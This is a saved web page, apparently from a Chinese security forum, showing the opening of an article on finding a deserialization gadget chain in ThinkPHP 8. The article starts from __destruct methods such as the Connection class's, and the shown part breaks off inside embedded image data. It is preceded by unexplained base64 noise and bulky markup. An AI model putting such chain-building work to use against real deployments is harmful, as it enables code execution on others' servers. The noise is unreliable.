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
|
|||
|
|
<style>.highlight .k{color:#204a87;font-weight:bold}.highlight .n{color:#000}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .c1{color:#8f5902;font-style:italic}.highlight .kd{color:#204a87;font-weight:bold}.highlight .s{color:#4e9a06}.highlight .nc{color:#000}.highlight .nf{color:#000}.highlight .mi{color:#0000cf;font-weight:bold}.highlight .sc{color:#4e9a06}</style>
|
|||
|
|
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
|||
|
|
<!--[if lte IE 8]>
|
|||
|
|
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
|||
|
|
<![endif]-->
|
|||
|
|
<!--[if !IE]> -->
|
|||
|
|
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media(prefers-color-scheme:dark){}@media screen and (max-width:768px){}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAADDUExURUxpcVVVVUNDVT5CTz1BUEBVVT1BUD1BTz5CTz5GT0BDUVVVVT5CTz5BUj1CTz5BT05OYj1CUD5GVUJCUj5CUD5BTz5BT0lJbT5CUEJCVT9DUUBHVT5CUD5CTz9CUD5BTz1BTz5CUEREUz5CUD5BUD5DTz5CUD5BT0BDUT5CTz1CUD5EUUBgYEBDUT5CUT1CTz1BUD5BUD9DUT1CT0REVT5BUENDUT1BUEBGUz1BUD9DT0FBUz1CTz5BTz1CUD1BUD1BT5JdbS4AAABAdFJOUwAJKr76DPbywR1MBuRO5fsNsyEfvdtKB4MbfiTa+FnegYwitbBXfPdYrt0pCEiL9XmsRdgeVhO8KI2KK45a2b/ePQx7AAAAwUlEQVQ4y4XTxw7CQAwE0A2E0BN67733Xv3/X4U0kYgimKxP9vgdfNhVildaBVfmpQGPaPD+7mjAW74g5q8Ewqd4QHy1T+JCm4IdsqswsEUUchhYHxCFhYENkpYw0MCFEZuCJYKuMDB1LzQZsPLehX/BCONEGCiWcWGKghKmlTAwwDA3GbByGArCQA39UBiYLfwX/gD3mdyEgSy6i8nAuIfuLAx00ByFgbaB5hT3VdUDmk8mfc0fa9Y1oKLZKyNo+QEJQV3gLnHrKwAAAABJRU5ErkJggg==" type=image/x-icon><style>.sf-hidden{display:none !important}</style><link rel=canonical href="https://xz.aliyun.com/t/14904?time__1311=mqmxyD0CT4lh%3DiQIBDiu7D0o4f2toD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2F"><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
|
|||
|
|
<body>
|
|||
|
|
<div class="navbar navbar-default">
|
|||
|
|
<div class=navbar-inner>
|
|||
|
|
<div class=container style=text-align:center;position:relative>
|
|||
|
|
<!--[if lte IE 8]>
|
|||
|
|
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
|||
|
|
<![endif]-->
|
|||
|
|
<div class=brand-box>
|
|||
|
|
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14904&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
|||
|
|
登录</a>
|
|||
|
|
|
|||
|
|
<div class="nav-collapse collapse">
|
|||
|
|
<div class="search d1 text-right">
|
|||
|
|
<form action=/search>
|
|||
|
|
<input type=text placeholder=搜索 name=keyword value>
|
|||
|
|
</form>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div id=Wrapper class=container>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class=row2>
|
|||
|
|
<div class=span10>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="row box content" width="1200px !important" style=width:1200px>
|
|||
|
|
|
|||
|
|
<div class=box-container>
|
|||
|
|
<div class=main-topic>
|
|||
|
|
<div class="clearfix user-info topic-list">
|
|||
|
|
<p><span class=content-title>ThinkPHP8 反序列化调用链</span>
|
|||
|
|
</p>
|
|||
|
|
<div class=topic-info>
|
|||
|
|
<span class=info-left>
|
|||
|
|
<a href=https://xz.aliyun.com/u/63686>
|
|||
|
|
<span class="username cell"> Nivia</span></a> <span class=i-seprator> / </span>
|
|||
|
|
<span> 2024-06-23 14:13:42</span><span class=i-seprator> / </span>
|
|||
|
|
|
|||
|
|
<span>发表于四川 / </span>
|
|||
|
|
|
|||
|
|
<span>浏览数 544</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class=content-node>
|
|||
|
|
|
|||
|
|
<span class="label label-default label-node-first">
|
|||
|
|
<a href=https://xz.aliyun.com/tab/1>技术文章</a></span>
|
|||
|
|
<span class="label label-default">
|
|||
|
|
<a href=https://xz.aliyun.com/node/11>技术文章</a></span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
</span>
|
|||
|
|
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
|||
|
|
顶(0)</a>
|
|||
|
|
<a class="vote vote-down" href=javascript:void(0)>
|
|||
|
|
踩(0)</a></span>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<hr>
|
|||
|
|
<div id=topic_content class="topic-content markdown-body">
|
|||
|
|
<h3 id=toc-0>前言</h3>
|
|||
|
|
<p>去年暑假,ThinkPHP发布了8.0版本。当时也是尝试着挖掘一条反序列化调用链,相比ThinkPHP 6,不少类做了变动,外加上还做了<code>declare (strict_types = 1);</code>的限制,让利用变的有些许的难。</p>
|
|||
|
|
<p>最近还是将这个任务重新捡了起来,最后也是成功找到了一条调用链并成功利用,这里就分享成功利用的部分。</p>
|
|||
|
|
<h3 id=toc-1>环境说明</h3>
|
|||
|
|
<p>官方手册:<a href=https://doc.thinkphp.cn/v8_0/preface.html target=_blank>https://doc.thinkphp.cn/v8_0/preface.html</a></p>
|
|||
|
|
<p>此外ThinkPHP提高了PHP版本要求,PHP版本需要使用PHP8以上。根据官方文档下载好后添加一个反序列化入口就好</p>
|
|||
|
|
<h3 id=toc-2>反序列化调用链</h3>
|
|||
|
|
<p><strong>source点选择</strong></p>
|
|||
|
|
<p>反序列化起点无非是<strong>destruct或</strong>wakeup方法,<strong>wakeup一般用于作对象初始化,多选择</strong>destruct方法作为起点</p>
|
|||
|
|
<p>全局一找,发现仅有两个可选</p>
|
|||
|
|
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140523-93d8f4ec-3126-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABLQAAAEYCAYAAABFva+RAAAMPmlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnltSIbQAAlJCb4KIlABSQmihdwRRCUmAUGIMBBU7uqjg2sUCNnRVRMEKiAVF7CyKvS8WFJR1sWBX3qSArvvK906+uffPP2f+c+bcuWUAUD/BFYtzUQ0A8kQFkthgf8bY5BQGqRsg8KcCdAGZy8sXs6KjwwG0wfPf7d0N6AvtqoNM65/9/9U0+YJ8HgBINMTp/HxeHsQHAcAreWJJAQBEGW8+pUAsw7ABbQlMEOKFMpypwJUynK7Ae+U+8bFsiFsBIKtyuZJMANQuQ55RyMuEGmp9EDuJ+EIRAOoMiH3y8ibxIU6D2Ab6iCGW6TPTf9DJ/Jtm+pAml5s5hBVzkRs5QJgvzuVO+z/L8b8tL1c6GMMKNtUsSUisbM6wbrdyJoXJsCrEvaL0yCiItSD+IOTL/SFGqVnSkASFP2rIy2fDmsGrDFAnPjcgDGJDiINEuZHhSj49QxjEgRiuEHSqsIATD7EexAsF+YFxSp/NkkmxylhofYaEzVLy57gSeVxZrAfSnASWUv91loCj1MfUirLikyCmQmxRKEyMhFgNYsf8nLgwpc+Yoix25KCPRBory98C4liBKNhfoY8VZkiCYpX+pXn5g/PFNmcJOZFKvL8gKz5EUR+slceV5w/ngl0WiFgJgzqC/LHhg3PhCwICFXPHugWihDilzgdxgX+sYixOFedGK/1xM0FusIw3g9glvzBOORZPLIALUqGPZ4gLouMVeeJF2dzQaEU++DIQDtggADCAFLZ0MAlkA2F7b0Mv/KfoCQJcIAGZQAAclMzgiCR5jwge40AR+BMiAcgfGucv7xWAQsh/HWIVRweQIe8tlI/IAU8hzgNhIBf+l8pHiYaiJYInkBH+IzoXNh7MNxc2Wf+/5wfZ7wwLMuFKRjoYkaE+6EkMJAYQQ4hBRFvcAPfBvfBwePSDzRln4h6D8/juT3hK6CA8IlwndBJuTxQWS37KMgJ0Qv0gZS3Sf6wFbgU1XXF/3BuqQ2VcFzcADrgLjMPCfWFkV8iylXnLqsL4SftvM/jhaij9KE4UlDKM4kex+Xmkmp2a65CKrNY/1keRa/pQvdlDPT/HZ/9QfT48h/3siS3EDmBnsZPYeewo1gAYWDPWiLVhx2R4aHU9ka+uwWix8nxyoI7wH/EGr6yskvlONU49Tl8UfQWCqbJnNGBPEk+TCDOzChgs+EYQMDginuMIhrOTswsAsveL4vH1Jkb+3kB0275z8/4AwLt5YGDgyHcutBmAfe7w9j/8nbNhwleHCgDnDvOkkkIFh8sOBPiUUId3mj4wBubABs7HGbgBL+AHAkEoiALxIBlMgNlnwXUuAVPADDAXlIAysAysBuvBJrAV7AR7wH7QAI6Ck+AMuAgug+vgLlw9XeAF6APvwGcEQUgIDaEj+ogJYonYI84IE/FBApFwJBZJRtKQTESESJEZyDykDFmBrEe2INXIPuQwchI5j3Qgt5GHSA/yGvmEYqgqqo0aoVboSJSJstAwNB4dj2aik9EidD66BF2LVqG70Xr0JHoRvY52oi/QfgxgKpguZoo5YEyMjUVhKVgGJsFmYaVYOVaF1WJN8DpfxTqxXuwjTsTpOAN3gCs4BE/AefhkfBa+GF+P78Tr8Vb8Kv4Q78O/EWgEQ4I9wZPAIYwlZBKmEEoI5YTthEOE0/Be6iK8IxKJukRroju8F5OJ2cTpxMXEDcQ64gliB/ExsZ9EIumT7EnepCgSl1RAKiGtI+0mNZOukLpIH8gqZBOyMzmInEIWkYvJ5eRd5OPkK+Rn5M8UDYolxZMSReFTplGWUrZRmiiXKF2Uz1RNqjXVmxpPzabOpa6l1lJPU+9R36ioqJipeKjEqAhV5qisVdmrck7locpHVS1VO1W2aqqqVHWJ6g7VE6q3Vd/QaDQrmh8thVZAW0Krpp2iPaB9UKOrOapx1Phqs9Uq1OrVrqi9VKeoW6qz1CeoF6mXqx9Qv6Teq0HRsNJga3A1ZmlUaBzWuKnRr0nXHKUZpZmnuVhzl+Z5zW4tkpaVVqAWX2u+1latU1qP6RjdnM6m8+jz6Nvop+ld2kRta22OdrZ2mfYe7XbtPh0tHRedRJ2pOhU6x3Q6dTFdK12Obq7uUt39ujd0Pw0zGsYaJhi2aFjtsCvD3usN1/PTE+iV6tXpXdf7pM/QD9TP0V+u36B/3wA3sDOIMZhisNHgtEHvcO3hXsN5w0uH7x9+xxA1tDOMNZxuuNWwzbDfyNgo2EhstM7olFGvsa6xn3G28Srj48Y9JnQTHxOhySqTZpPnDB0Gi5HLWMtoZfSZGpqGmEpNt5i2m342szZLMCs2qzO7b041Z5pnmK8ybzHvszCxiLCYYVFjcceSYsm0zLJcY3nW8r2VtVWS1QKrBqtuaz1rjnWRdY31PRuaja/NZJsqm2u2RFumbY7tBtvLdqidq12WXYXdJXvU3s1eaL/BvmMEYYTHCNGIqhE3HVQdWA6FDjUODx11HcMdix0bHF+OtBiZMnL5yLMjvzm5OuU6bXO6O0prVOio4lFNo1472znznCucr42mjQ4aPXt04+hXLvYuApeNLrdc6a4RrgtcW1y/urm7Sdxq3XrcLdzT3CvdbzK1mdHMxcxzHgQPf4/ZHkc9Pnq6eRZ47vf8y8vBK8drl1f3GOsxgjHbxjz2NvPmem/x7vRh+KT5bPbp9DX15fpW+T7yM/fj+233e8ayZWWzdrNe+jv5S/wP+b9ne7Jnsk8EYAHBAaUB7YFagQmB6wMfBJkFZQbVBPUFuwZPDz4RQggJC1kecpNjxOFxqjl9oe6hM0Nbw1TD4sLWhz0KtwuXhDdFoBGhESsj7kVaRooiG6JAFCdqZdT9aOvoydFHYogx0TEVMU9jR8XOiD0bR4+bGLcr7l28f/zS+LsJNgnShJZE9cTUxOrE90kBSSuSOseOHDtz7MVkg2RhcmMKKSUxZXtK/7jAcavHdaW6ppak3hhvPX7q+PMTDCbkTjg2UX0id+KBNEJaUtqutC/cKG4Vtz+dk16Z3sdj89bwXvD9+Kv4PQJvwQrBswzvjBUZ3ZnemSsze7J8s8qzeoVs4Xrhq+yQ7E3Z73OicnbkDOQm5dblkfPS8g6LtEQ5otZJxpOmTuoQ24tLxJ2TPSevntwnCZNsz0fyx+c3FmjDD/k2qY30F+nDQp/CisIPUxKnHJiqOVU0tW2a3bRF054VBRX9Nh2fzpveMsN0xtwZD2eyZm6ZhcxKn9Uy23z2/Nldc4Ln7JxLnZsz9/dip+IVxW/nJc1rmm80f878x78E/1JTolYiKbm5wGvBpoX4QuHC9kWjF61b9K2UX3qhzKmsvOzLYt7iC7+O+nXtrwNLMpa0L3VbunEZcZlo2Y3lvst3rtBcUbTi8cqIlfWrGKtKV71dPXH1+XKX8k1rqGukazrXhq9tXGexbtm6L+uz1l+v8K+oqzSsXFT5fgN/w5WNfhtrNxltKtv0abNw860twVvqq6yqyrcStxZufbotcdvZ35i/VW832F62/esO0Y7OnbE7W6vdq6t3Ge5aWoPWSGt6dqfuvrwnYE9jrUPtljrdurK9YK907/N9aftu7A/b33KAeaD2oOXBykP0Q6X1SP20+r6GrIbOxuTGjsOhh1uavJoOHXE8suOo6dGKYzrHlh6nHp9/fKC5qLn/hPhE78nMk49bJrbcPTX21LXWmNb202Gnz50JOnPqLOts8znvc0fPe54/fIF5oeGi28X6Nte2Q7+7/n6o3a29/pL7pcbLHpebOsZ0HL/ie+Xk1YCrZ65xrl28Hnm940bCjVs3U2923uLf6r6de/vVncI7n+/OuUe4V3pf4375A8MHVX/Y/lHX6dZ57GHAw7ZHcY/uPuY9fvEk/8mXrvlPaU/Ln5k8q+52
|
|||
|
|
<p>先看第一个,这是应该是给数据库关闭链接用的,定义在Connection抽象类中,该类实现ConnectionInterface接口,__destruct方法调用的是接口中的close方法,这里想利用需要寻找其子类</p>
|
|||
|
|
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140543-a011cf18-3126-1.png><img src=data:image/png;base64,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